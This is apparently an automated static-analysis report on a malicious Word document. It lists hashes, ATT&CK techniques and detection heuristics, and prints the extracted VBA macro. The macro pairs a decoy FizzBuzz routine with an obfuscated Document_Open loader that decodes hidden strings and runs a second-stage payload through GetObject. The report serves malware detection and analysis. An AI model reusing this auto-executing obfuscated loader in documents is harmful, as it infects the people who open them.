Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e48b15ceb9ecc849…

MALICIOUS

Office (OLE)

149.0 KB Created: 2019-06-27 11:17:00 Authoring application: Microsoft Office Word First seen: 2021-11-03
MD5: 2aa4aa601c44a23366811d60c38731e3 SHA-1: 238f1087c209f3756b870fbefbab068d44255d4f SHA-256: e48b15ceb9ecc849d791b205c02a8da414186573106342f9a5fa8f8b24a8dafe
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1071.001 Web Protocols

The sample is a malicious Office document containing obfuscated VBA macros. The Document_Open macro, triggered automatically, uses GetObject to execute a payload. The script attempts to decode a string from ActiveDocument.Variables("t7c834968a72ffc").Value, which is then used to create and execute a second-stage payload. This indicates a macro-based downloader designed to execute arbitrary code.

Heuristics 7

  • ClamAV: Doc.Malware.Sagent-7052597-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-7052597-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1550 bytes
SHA-256: cf6bfccbcf3f35b53ef2021856f0a24e2abc0564272c1fe472dc3fa3c7eeb453
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Sub FizzBuzz()
    Dim i As Integer
    Dim num As Integer
    For i = 2 To 100
        num = Cells(i, 1).Value
        If (num Mod 3 = 0 And num Mod 5 = 0) Then

            Cells(i, 2).Value = "Fizzbuzz"
        ElseIf (num Mod 3 = 0) Then

            Cells(i, 2).Value = "Fizz"

        ElseIf (num Mod 5 = 0) Then
            Cells(i, 2).Value = "Buzz"

        End If

    Next i

End Sub
Sub Document_Open()
Call yc84ac647
End Sub

Private Sub yc84ac647()
Dim ecd4d627caefff As Variant: ecd4d627caefff = Split(ActiveDocument.Variables("t7c834968a72ffc").Value, ",")
Dim bf9ddf9f688e6 As Long: Dim q88eda4a4df27 As Long
For bf9ddf9f688e6 = 0 To 1 Step 1
For q88eda4a4df27 = 1 To Len(ecd4d627caefff(bf9ddf9f688e6)) Step 2: Mid(ecd4d627caefff(bf9ddf9f688e6), q88eda4a4df27, 2) = Chr(CInt(Chr(Int(0 + 6 + 4 - 12 + Int(7 / 1) - 12 + Int(9 / 7) + Int(9 / 3) - 5 + Int(9 / 5) + 45)) & Chr(Int(0 - 9 + Int(12 / 6) - 10 - 9 + Int(10 / 9) + 9 + 88)) & Mid(ecd4d627caefff(bf9ddf9f688e6), q88eda4a4df27, 2)) - 99) & "!": Next q88eda4a4df27
ecd4d627caefff(bf9ddf9f688e6) = Replace(ecd4d627caefff(bf9ddf9f688e6), "!", "")
Next bf9ddf9f688e6
GetObject(ecd4d627caefff(1)).Create ecd4d627caefff(0), Null, Null, Null
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.